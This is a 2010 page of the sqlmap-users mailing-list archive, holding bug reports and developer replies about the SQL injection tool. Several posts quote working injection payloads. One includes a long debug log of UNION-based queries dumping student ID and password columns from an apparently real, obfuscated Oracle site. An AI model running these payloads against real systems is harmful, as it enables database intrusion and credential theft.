sqlmap-users Mailing List for sqlmap (Page 127)
Brought to you by:
inquisb
Menu
▾
▴
sqlmap-users — sqlmap users mailing list
You can subscribe to this list here.
| 2008 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
(4) |
Oct
(11) |
Nov
(24) |
Dec
(13) |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2009 |
Jan
(23) |
Feb
(17) |
Mar
(13) |
Apr
(48) |
May
(22) |
Jun
(18) |
Jul
(22) |
Aug
(13) |
Sep
(23) |
Oct
(6) |
Nov
(11) |
Dec
(25) |
| 2010 |
Jan
(21) |
Feb
(33) |
Mar
(61) |
Apr
(47) |
May
(48) |
Jun
(30) |
Jul
(24) |
Aug
(37) |
Sep
(52) |
Oct
(59) |
Nov
(32) |
Dec
(57) |
| 2011 |
Jan
(166) |
Feb
(93) |
Mar
(65) |
Apr
(117) |
May
(87) |
Jun
(124) |
Jul
(102) |
Aug
(78) |
Sep
(65) |
Oct
(22) |
Nov
(71) |
Dec
(79) |
| 2012 |
Jan
(93) |
Feb
(55) |
Mar
(45) |
Apr
(49) |
May
(56) |
Jun
(93) |
Jul
(95) |
Aug
(42) |
Sep
(26) |
Oct
(36) |
Nov
(32) |
Dec
(46) |
| 2013 |
Jan
(36) |
Feb
(78) |
Mar
(38) |
Apr
(57) |
May
(35) |
Jun
(39) |
Jul
(23) |
Aug
(33) |
Sep
(28) |
Oct
(38) |
Nov
(22) |
Dec
(16) |
| 2014 |
Jan
(33) |
Feb
(23) |
Mar
(41) |
Apr
(29) |
May
(12) |
Jun
(20) |
Jul
(21) |
Aug
(23) |
Sep
(18) |
Oct
(34) |
Nov
(12) |
Dec
(39) |
| 2015 |
Jan
(2) |
Feb
(51) |
Mar
(10) |
Apr
(28) |
May
(9) |
Jun
(22) |
Jul
(32) |
Aug
(35) |
Sep
(29) |
Oct
(50) |
Nov
(8) |
Dec
(2) |
| 2016 |
Jan
(8) |
Feb
(2) |
Mar
(3) |
Apr
(14) |
May
|
Jun
|
Jul
|
Aug
(12) |
Sep
|
Oct
|
Nov
(1) |
Dec
(19) |
| 2017 |
Jan
|
Feb
(18) |
Mar
|
Apr
(1) |
May
|
Jun
|
Jul
|
Aug
(4) |
Sep
|
Oct
|
Nov
(2) |
Dec
|
| 2018 |
Jan
|
Feb
|
Mar
(1) |
Apr
(1) |
May
(3) |
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
| 2019 |
Jan
|
Feb
|
Mar
|
Apr
(3) |
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
|
From: David G. <sk...@gm...> - 2010-05-02 22:47:40
|
You can use a proxy like Tor or any other proxy software to bypass this filter. http://www.torproject.org/ On Sun, May 2, 2010 at 1:05 AM, dehqan65 <deh...@gm...> wrote: > In The Name Of God The compassionate merciful > > Good day ; > Where to get latest Sqlmap ? Sourceforge is blocked for iranians . > Deb package is required . > > Regards dehqan > > > > ------------------------------------------------------------------------------ > > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > > -- David Gomes Guimarães |
|
From: Ole R. <ol...@gm...> - 2010-05-02 20:17:18
|
This is regarding the bug I reported here: http://sourceforge.net/mailarchive/forum.php?thread_name=m2k...@ma...&forum_name=sqlmap-users It turns out that the bug is more general than in the specific case with CAST as above so consider this as the overruling bug-report. SqlMap seems to handle subqueries in functions incorrectly. Ex: SELECT LENGTH((SELECT name FROM test LIMIT 0,1)) should return the length of 'name' in the first entry in the table 'test', but in SqlMap it returns nothing. It works perfectly in MySQL console. Regards, Ole |
|
From: Ole R. <ol...@gm...> - 2010-05-02 17:08:30
|
On my database with the following table:
test(id, name, rt) containing one row: ('1', 'a11', 'ddfsdf') the
following query:
select CAST((SELECT name from test LIMIT 0,1) as CHAR);
returns 'a11' as its supposed to, but in SqlMap the query returns nothing.
The query:
select CAST((SELECT NOW()) as CHAR);
works in SqlMap, if that helps find the bug.
Regards,
Ole
|
|
From: dehqan65 <deh...@gm...> - 2010-05-02 04:05:28
|
In The Name Of God The compassionate merciful Good day ; Where to get latest Sqlmap ? Sourceforge is blocked for iranians . Deb package is required . Regards dehqan |
|
From: Miroslav S. <mir...@gm...> - 2010-04-30 07:37:21
|
Hi. I've tested this and can inform you that it's been fixed in v0.9dev (some revisions before). Get the latest development version and it should work (svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev). Kind regards. On Thu, Apr 29, 2010 at 7:07 PM, m4l1c3 <mal...@gm...> wrote: > I've having difficulty getting sqlmap to pick up GET parameters from > Webscarab logs. > > Version 8 rc7 everything works as expected with the -l switch. > > With 8 final. I get the following: > > ./sqlmap.py -l <webscarab logs> -v 5 -p "did,dc,gid" > > sqlmap/0.8 - automatic SQL injection and database takeover tool > http://sqlmap.sourceforge.net > > [*] starting at: 10:35:53 > > [10:35:53] [DEBUG] initializing the configuration > [10:35:53] [DEBUG] initializing the knowledge base > [10:35:53] [DEBUG] cleaning up configuration parameters > [10:35:53] [DEBUG] setting the HTTP timeout > [10:35:53] [DEBUG] setting the HTTP method to GET > [10:35:53] [DEBUG] parsing targets list from '<webscarab logs>' > [10:35:53] [INFO] sqlmap parsed 3 testable requests from the targets list > [10:35:53] [DEBUG] creating HTTP requests opener object > [10:35:53] [DEBUG] parsing XML queries file > [10:35:53] [INFO] sqlmap got a total of 3 targets > url 1: > GET http://DOMAIN/PATH/?did=14&dc=1&gid=28 > do you want to test this url? [Y/n/q] >> y > [10:35:54] [INFO] testing url http://DOMAIN:80/PATH/?did=14&dc=1&gid=28 > [10:35:54] [ERROR] all testable parameters you provided are not present > within the GET, POST and Cookie parameters > > [*] shutting down at: 10:35:54 > > > But if I invoke -u with the url, it picks the GET parameters up ok, even if > I specify them. > > > > > ------------------------------------------------------------------------------ > > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > > -- Miroslav Stampar E-mail / Jabber: miroslav.stampar (at) gmail.com Mobile: +385921010204 (HR 0921010204) PGP Key ID: 0xB5397B1B |
|
From: Miroslav S. <mir...@gm...> - 2010-04-29 21:17:47
|
Hi. Could you please send a part of the webscarab log you've used (URL obfuscated of course :)? That would be most helpful. Kind regards. On Thu, Apr 29, 2010 at 7:07 PM, m4l1c3 <mal...@gm...> wrote: > I've having difficulty getting sqlmap to pick up GET parameters from > Webscarab logs. > > Version 8 rc7 everything works as expected with the -l switch. > > With 8 final. I get the following: > > ./sqlmap.py -l <webscarab logs> -v 5 -p "did,dc,gid" > > sqlmap/0.8 - automatic SQL injection and database takeover tool > http://sqlmap.sourceforge.net > > [*] starting at: 10:35:53 > > [10:35:53] [DEBUG] initializing the configuration > [10:35:53] [DEBUG] initializing the knowledge base > [10:35:53] [DEBUG] cleaning up configuration parameters > [10:35:53] [DEBUG] setting the HTTP timeout > [10:35:53] [DEBUG] setting the HTTP method to GET > [10:35:53] [DEBUG] parsing targets list from '<webscarab logs>' > [10:35:53] [INFO] sqlmap parsed 3 testable requests from the targets list > [10:35:53] [DEBUG] creating HTTP requests opener object > [10:35:53] [DEBUG] parsing XML queries file > [10:35:53] [INFO] sqlmap got a total of 3 targets > url 1: > GET http://DOMAIN/PATH/?did=14&dc=1&gid=28 > do you want to test this url? [Y/n/q] >> y > [10:35:54] [INFO] testing url http://DOMAIN:80/PATH/?did=14&dc=1&gid=28 > [10:35:54] [ERROR] all testable parameters you provided are not present > within the GET, POST and Cookie parameters > > [*] shutting down at: 10:35:54 > > > But if I invoke -u with the url, it picks the GET parameters up ok, even if > I specify them. > > > > > ------------------------------------------------------------------------------ > > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > > -- Miroslav Stampar E-mail / Jabber: miroslav.stampar (at) gmail.com Mobile: +385921010204 (HR 0921010204) PGP Key ID: 0xB5397B1B |
|
From: m4l1c3 <mal...@gm...> - 2010-04-29 17:07:35
|
I've having difficulty getting sqlmap to pick up GET parameters from
Webscarab logs.
Version 8 rc7 everything works as expected with the -l switch.
With 8 final. I get the following:
./sqlmap.py -l <webscarab logs> -v 5 -p "did,dc,gid"
sqlmap/0.8 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
[*] starting at: 10:35:53
[10:35:53] [DEBUG] initializing the configuration
[10:35:53] [DEBUG] initializing the knowledge base
[10:35:53] [DEBUG] cleaning up configuration parameters
[10:35:53] [DEBUG] setting the HTTP timeout
[10:35:53] [DEBUG] setting the HTTP method to GET
[10:35:53] [DEBUG] parsing targets list from '<webscarab logs>'
[10:35:53] [INFO] sqlmap parsed 3 testable requests from the targets list
[10:35:53] [DEBUG] creating HTTP requests opener object
[10:35:53] [DEBUG] parsing XML queries file
[10:35:53] [INFO] sqlmap got a total of 3 targets
url 1:
GET http://DOMAIN/PATH/?did=14&dc=1&gid=28
do you want to test this url? [Y/n/q]
> y
[10:35:54] [INFO] testing url http://DOMAIN:80/PATH/?did=14&dc=1&gid=28
[10:35:54] [ERROR] all testable parameters you provided are not present
within the GET, POST and Cookie parameters
[*] shutting down at: 10:35:54
But if I invoke -u with the url, it picks the GET parameters up ok, even if
I specify them.
|
|
From: Bernardo D. A. G. <ber...@gm...> - 2010-04-29 10:57:28
|
Please, read carefully the user's manual (doc/README.pdf) for details on --string. Bernardo On Fri, Mar 26, 2010 at 16:36, Pagera <pag...@gm...> wrote: > hello > > it didnt wrok > > what im trying to do is > sqlmap -u "http://example.com/images.php?id=10" --string="id" > > the url is vulnerable cuz when i use the browser with > > http://example.com/images.php?id=10 and 1=2 > im able to see the MySql error and i tried so much function like > version() it works > i also used > http://example.com/images.php?id=10 union select > 1,2,3,group_concat(table_name),5,6,7 from information_schema.tables > and i got the table names > > but when using sqlmap there is nothing it acts like the url is not > vulnerable > i also used --prefix="id" --postfix="1=1" > > and also nothing > > > > > David Guimaraes wrote: >> Try passing --string parameter to sqlmap. >> >> --string=STRING String to match in page when the query is valid >> >> On Thu, Mar 25, 2010 at 6:18 PM, Pagera <pag...@gm... >> <mailto:pag...@gm...>> wrote: >> >> Hello and hope fine >> thank bernardo for the DirBuster >> >> a question about Blind sql injection >> does SQLMap support this mode? >> >> i used --UNION-USE but it failed .. i have a vulnerable url >> im able to view all database information by manipulating the http url >> like "version() , etc >> but when im using SQLMap the result is that this url is not >> vulnerable!!! >> >> im wondering if its cuz of not supporting Blind Mode? >> >> and thank for help >> >> >> >> ------------------------------------------------------------------------------ >> Download Intel® Parallel Studio Eval >> Try the new software tools for yourself. Speed compiling, find bugs >> proactively, and fine-tune applications for parallel performance. >> See why Intel Parallel Studio got high marks during beta. >> http://p.sf.net/sfu/intel-sw-dev >> _______________________________________________ >> sqlmap-users mailing list >> sql...@li... >> <mailto:sql...@li...> >> https://lists.sourceforge.net/lists/listinfo/sqlmap-users >> >> >> >> >> -- >> David Gomes Guimarães > > > ------------------------------------------------------------------------------ > Download Intel® Parallel Studio Eval > Try the new software tools for yourself. Speed compiling, find bugs > proactively, and fine-tune applications for parallel performance. > See why Intel Parallel Studio got high marks during beta. > http://p.sf.net/sfu/intel-sw-dev > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > -- Bernardo Damele A. G. E-mail / Jabber: bernardo.damele (at) gmail.com Mobile: +447788962949 (UK 07788962949) PGP Key ID: 0x05F5A30F |
|
From: Miroslav S. <mir...@gm...> - 2010-04-29 08:30:31
|
Hi Dmitri. Thank you for your report. We've fixed the issue. Please use the latest SVN revision to have it fixed (svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev). Kind regards, Miroslav Stampar 2010/4/28 Моск Дмитрий <ya...@da...>: > sqlmap version: 0.8 > Python version: 2.6.2 > Operating system: win32 > Traceback (most recent call last): > File "sqlmap.py", line 77, in main > File "lib\controller\controller.pyc", line 259, in start > File "lib\controller\action.pyc", line 108, in action > File "plugins\generic\enumeration.pyc", line 768, in getTables > File "lib\request\inject.pyc", line 373, in getValue > File "lib\request\inject.pyc", line 303, in __goInferenceProxy > File "lib\request\inject.pyc", line 95, in __goInferenceFields > File "lib\request\inject.pyc", line 55, in __goInference > File "lib\techniques\blind\inference.pyc", line 271, in bisection > UnboundLocalError: local variable 'infoMsg' referenced before assignment > > P.S. in cmd line I'am use "--first 117" parameter for dump all tables which name starts with letter 'u', what I do wrong? > > ------------------------------------------------------------------------------ > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > -- Miroslav Stampar E-mail / Jabber: miroslav.stampar (at) gmail.com Mobile: +385921010204 (HR 0921010204) PGP Key ID: 0xB5397B1B |
|
From: Моск Д. <ya...@da...> - 2010-04-28 15:25:15
|
sqlmap version: 0.8 Python version: 2.6.2 Operating system: win32 Traceback (most recent call last): File "sqlmap.py", line 77, in main File "lib\controller\controller.pyc", line 259, in start File "lib\controller\action.pyc", line 108, in action File "plugins\generic\enumeration.pyc", line 768, in getTables File "lib\request\inject.pyc", line 373, in getValue File "lib\request\inject.pyc", line 303, in __goInferenceProxy File "lib\request\inject.pyc", line 95, in __goInferenceFields File "lib\request\inject.pyc", line 55, in __goInference File "lib\techniques\blind\inference.pyc", line 271, in bisection UnboundLocalError: local variable 'infoMsg' referenced before assignment P.S. in cmd line I'am use "--first 117" parameter for dump all tables which name starts with letter 'u', what I do wrong? |
|
From: Miroslav S. <mir...@gm...> - 2010-04-28 08:19:17
|
Hi. In matter of fact it does use information schema. Go to sqlmap/xml/queries.xml, try to find <tables> tags and you'll see for yourself. Slow nature of your problem could be related (probably) to blind injection approach. Kind regards. On Wed, Apr 28, 2010 at 2:12 AM, Pagera <pag...@gm...> wrote: > hello and hope u fine > > im wondering in case that the backend db is mysql 5.x > why SQLmap doesnt get the db info from information schema immediately ? > it take too long to retrieve the table names and columns > > while comparing some sql injection > it took me about 2 minutes to get all info by querying the information > schema > while sqlmap spend about an hour to et the same info > > as u know all the db info exist in the information schema > so is it possible to apply this to sqlmap > to retrieve the table and column names from information schema immediately ? > and u know how much mysql 5.x used all over the web > > > regards > > > ------------------------------------------------------------------------------ > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > -- Miroslav Stampar E-mail / Jabber: miroslav.stampar (at) gmail.com Mobile: +385921010204 (HR 0921010204) PGP Key ID: 0xB5397B1B |
|
From: Pagera <pag...@gm...> - 2010-04-28 00:13:18
|
hello and hope u fine im wondering in case that the backend db is mysql 5.x why SQLmap doesnt get the db info from information schema immediately ? it take too long to retrieve the table names and columns while comparing some sql injection it took me about 2 minutes to get all info by querying the information schema while sqlmap spend about an hour to et the same info as u know all the db info exist in the information schema so is it possible to apply this to sqlmap to retrieve the table and column names from information schema immediately ? and u know how much mysql 5.x used all over the web regards |
|
From: Miroslav S. <mir...@gm...> - 2010-04-26 18:38:16
|
Hi. Sorry, my fault. Bernardo said that he knows where to look for this one so he'll try to solve it soon. Kind regards. On Mon, Apr 26, 2010 at 6:42 PM, David Guimaraes <sk...@gm...> wrote: > Mirvoslav: > Don't work even passing --start 1 or --start 3 or anything in a table with X > rows.. i don't know if this is a oracle error or other thing.. sqlmap simply > ignores the parameter... tested and re-tested... if the table has 100 rows > and I pass --start to him to read until the tenth, he will read them all... > >> On Mon, Apr 26, 2010 at 6:27 AM, Bernardo Damele A. G. >> <ber...@gm...> wrote: >>> >>> Did you try without providing --start and --stop? Let me know please >>> if it correctly dump entries or not. >>> >>> Bernardo >>> >>> >>> On Sat, Apr 24, 2010 at 04:02, David Guimaraes <sk...@gm...> wrote: >>> > Syntax that had problems: >>> > >>> > $ ./sqlmap.py -u "http://www.vuln.com/vuln.asp?a=000408092&b=" -p a >>> > --union-use -T ALU_ALUNOS --dump -C "ALU_RA,ALU_SENHA" --start 0 --stop >>> > 4 -v >>> > 2 >>> > >>> > sqlmap/0.9-dev - automatic SQL injection and database takeover tool >>> > http://sqlmap.sourceforge.net >>> > >>> > [*] starting at: 22:52:50 >>> > >>> > [22:52:50] [DEBUG] initializing the configuration >>> > [22:52:50] [DEBUG] initializing the knowledge base >>> > [22:52:50] [DEBUG] cleaning up configuration parameters >>> > [22:52:50] [DEBUG] setting the HTTP timeout >>> > [22:52:50] [DEBUG] setting the HTTP method to GET >>> > [22:52:50] [DEBUG] creating HTTP requests opener object >>> > [22:52:50] [DEBUG] parsing XML queries file >>> > [22:52:50] [INFO] using '/path/session' as session file >>> > [22:52:50] [INFO] resuming injection point 'GET' from session file >>> > [22:52:50] [INFO] resuming injection parameter 'a' from session file >>> > [22:52:50] [INFO] resuming injection type 'stringsingle' from session >>> > file >>> > [22:52:50] [INFO] resuming 0 number of parenthesis from session file >>> > [22:52:50] [INFO] resuming back-end DBMS 'oracle' from session file >>> > [22:52:50] [INFO] resuming union comment '--' from session file >>> > [22:52:50] [INFO] resuming union count 15 from session file >>> > [22:52:50] [INFO] resuming union position 1 from session file >>> > [22:52:50] [INFO] resuming union false condition 1 from session file >>> > [22:52:50] [INFO] testing connection to the target url >>> > [22:52:50] [DEBUG] got HTTP error code: 500 >>> > [22:52:50] [WARNING] the testable parameter 'a' you provided is not >>> > into the >>> > Cookie >>> > [22:52:50] [INFO] testing for parenthesis on injectable parameter >>> > [22:52:50] [DEBUG] skipping test for MySQL >>> > [22:52:50] [INFO] the back-end DBMS is Oracle >>> > web server operating system: Windows 2000 >>> > web application technology: ASP.NET, Microsoft IIS 6.0, ASP >>> > back-end DBMS: Oracle >>> > >>> > [22:52:50] [WARNING] on Oracle it is only possible to enumerate if you >>> > provide a TABLESPACE_NAME as database name. sqlmap is going to use >>> > 'USERS' >>> > as database name >>> > [22:52:50] [INFO] fetching columns 'ALU_RA, ALU_SENHA' entries for >>> > table >>> > 'ALU_ALUNOS' on database 'USERS' >>> > [22:52:50] [INFO] the SQL query provided has more than a field. sqlmap >>> > will >>> > now unpack it into distinct queries to be able to retrieve the output >>> > even >>> > if we are in front of a partial inband sql injection >>> > [22:52:50] [INFO] read from file '/path': 344305 >>> > [22:52:50] [DEBUG] query: ' UNION ALL SELECT NULL, >>> > >>> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(COUNT(ALU_RA) >>> > AS VARCHAR(4000)), >>> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), >>> > NULL, >>> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >>> > FROM >>> > ALU_ALUNOS-- AND 'RFOj'='RFOj >>> > [22:52:51] [DEBUG] performed 1 queries in 0 seconds >>> > [22:52:51] [INFO] the SQL query provided returns 344305 entries >>> > [22:52:51] [DEBUG] query: ' UNION ALL SELECT NULL, >>> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >>> > AS >>> > VARCHAR(4000)), >>> > >>> > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >>> > AS VARCHAR(4000)), >>> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), >>> > NULL, >>> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >>> > FROM >>> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >>> > LIMIT=1-- >>> > AND 'qGli'='qGli >>> > [22:52:51] [DEBUG] performed 2 queries in 0 seconds >>> > [22:52:51] [DEBUG] query: ' UNION ALL SELECT NULL, >>> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >>> > AS >>> > VARCHAR(4000)), >>> > >>> > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >>> > AS VARCHAR(4000)), >>> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), >>> > NULL, >>> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >>> > FROM >>> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >>> > LIMIT=2-- >>> > AND 'EXyf'='EXyf >>> > [22:52:53] [DEBUG] performed 3 queries in 1 seconds >>> > [22:52:53] [DEBUG] query: ' UNION ALL SELECT NULL, >>> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >>> > AS >>> > VARCHAR(4000)), >>> > >>> > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >>> > AS VARCHAR(4000)), >>> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), >>> > NULL, >>> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >>> > FROM >>> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >>> > LIMIT=3-- >>> > AND 'CLyw'='CLyw >>> > [22:52:56] [DEBUG] performed 4 queries in 2 seconds >>> > [22:52:56] [DEBUG] query: ' UNION ALL SELECT NULL, >>> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >>> > AS >>> > VARCHAR(4000)), >>> > >>> > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >>> > AS VARCHAR(4000)), >>> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), >>> > NULL, >>> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >>> > FROM >>> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >>> > LIMIT=4-- >>> > AND 'nHQn'='nHQn >>> > [22:52:57] [DEBUG] performed 5 queries in 0 seconds >>> > [22:52:57] [DEBUG] query: ' UNION ALL SELECT NULL, >>> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >>> > AS >>> > VARCHAR(4000)), >>> > >>> > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >>> > AS VARCHAR(4000)), >>> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), >>> > NULL, >>> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >>> > FROM >>> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >>> > LIMIT=5-- >>> > AND 'iNmX'='iNmX >>> > [22:52:58] [DEBUG] performed 6 queries in 1 seconds >>> > [22:52:58] [DEBUG] query: ' UNION ALL SELECT NULL, >>> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >>> > AS >>> > VARCHAR(4000)), >>> > >>> > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >>> > AS VARCHAR(4000)), >>> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), >>> > NULL, >>> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >>> > FROM >>> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >>> > LIMIT=6-- >>> > AND 'mVQM'='mVQM >>> > [22:52:58] [DEBUG] performed 7 queries in 0 seconds >>> > [22:52:58] [DEBUG] query: ' UNION ALL SELECT NULL, >>> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >>> > AS >>> > VARCHAR(4000)), >>> > >>> > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >>> > AS VARCHAR(4000)), >>> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), >>> > NULL, >>> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >>> > FROM >>> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >>> > LIMIT=7-- >>> > AND 'FuqF'='FuqF >>> > [22:52:59] [DEBUG] performed 8 queries in 0 seconds >>> > [22:52:59] [DEBUG] query: ' UNION ALL SELECT NULL, >>> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >>> > AS >>> > VARCHAR(4000)), >>> > >>> > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >>> > AS VARCHAR(4000)), >>> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), >>> > NULL, >>> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >>> > FROM >>> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >>> > LIMIT=8-- >>> > AND 'utPd'='utPd >>> > [22:53:01] [DEBUG] performed 9 queries in 2 seconds >>> > [22:53:01] [DEBUG] query: ' UNION ALL SELECT NULL, >>> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >>> > AS >>> > VARCHAR(4000)), >>> > >>> > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >>> > AS VARCHAR(4000)), >>> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), >>> > NULL, >>> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >>> > FROM >>> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >>> > LIMIT=9-- >>> > AND 'ilBw'='ilBw >>> > [22:53:03] [DEBUG] performed 10 queries in 2 seconds >>> > [22:53:03] [DEBUG] query: ' UNION ALL SELECT NULL, >>> > CHR(105)||CHR(77)||CHR(83)||CHR(70)||CHR(120)||CHR(74)||NVL(CAST(ALU_RA >>> > AS >>> > VARCHAR(4000)), >>> > >>> > CHR(32))||CHR(97)||CHR(70)||CHR(79)||CHR(81)||CHR(70)||CHR(84)||NVL(CAST(ALU_SENHA >>> > AS VARCHAR(4000)), >>> > CHR(32))||CHR(77)||CHR(107)||CHR(82)||CHR(107)||CHR(106)||CHR(99), >>> > NULL, >>> > NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL >>> > FROM >>> > (SELECT ALU_RA, ALU_SENHA, ROWNUM AS LIMIT FROM ALU_ALUNOS) WHERE >>> > LIMIT=10-- >>> > AND 'YxAK'='YxAK >>> > ^C >>> > [22:53:04] [ERROR] user aborted >>> > >>> > [*] shutting down at: 22:53:04 >>> > >>> > >>> > >>> > As you can see, it will not stop consultation until the fourth, >>> > ignoring >>> > parameters passed in ("--start" and "--stop"). >>> > >>> > I gave ctrl + c in the tenth query. >>> > >>> > Am I doing something wrong or is it anyway? >>> > >>> > $ svn info >>> > Path: . >>> > URL: https://svn.sqlmap.org/sqlmap/trunk/sqlmap >>> > Repository Root: https://svn.sqlmap.org/sqlmap >>> > Repository UUID: 7eb2e9d7-d917-0410-b3c8-b11144ad09fb >>> > Revision: 1588 >>> > Node Kind: directory >>> > Schedule: normal >>> > Last Changed Author: inquisb >>> > Last Changed Rev: 1588 >>> > Last Changed Date: 2010-04-23 13:34:20 -0300 (Fri, 23 Apr 2010) >>> > >>> > -- >>> > David Gomes Guimarães >>> > >>> > >>> > ------------------------------------------------------------------------------ >>> > >>> > _______________________________________________ >>> > sqlmap-users mailing list >>> > sql...@li... >>> > https://lists.sourceforge.net/lists/listinfo/sqlmap-users >>> > >>> > >>> >>> >>> >>> -- >>> Bernardo Damele A. G. >>> >>> E-mail / Jabber: bernardo.damele (at) gmail.com >>> Mobile: +447788962949 (UK 07788962949) >>> PGP Key ID: 0x05F5A30F >> >> >> >> -- >> David Gomes Guimarães > > > > -- > David Gomes Guimarães > -- Miroslav Stampar E-mail / Jabber: miroslav.stampar (at) gmail.com Mobile: +385921010204 (HR 0921010204) PGP Key ID: 0xB5397B1B |
|
From: David G. <sk...@gm...> - 2010-04-26 16:42:48
|
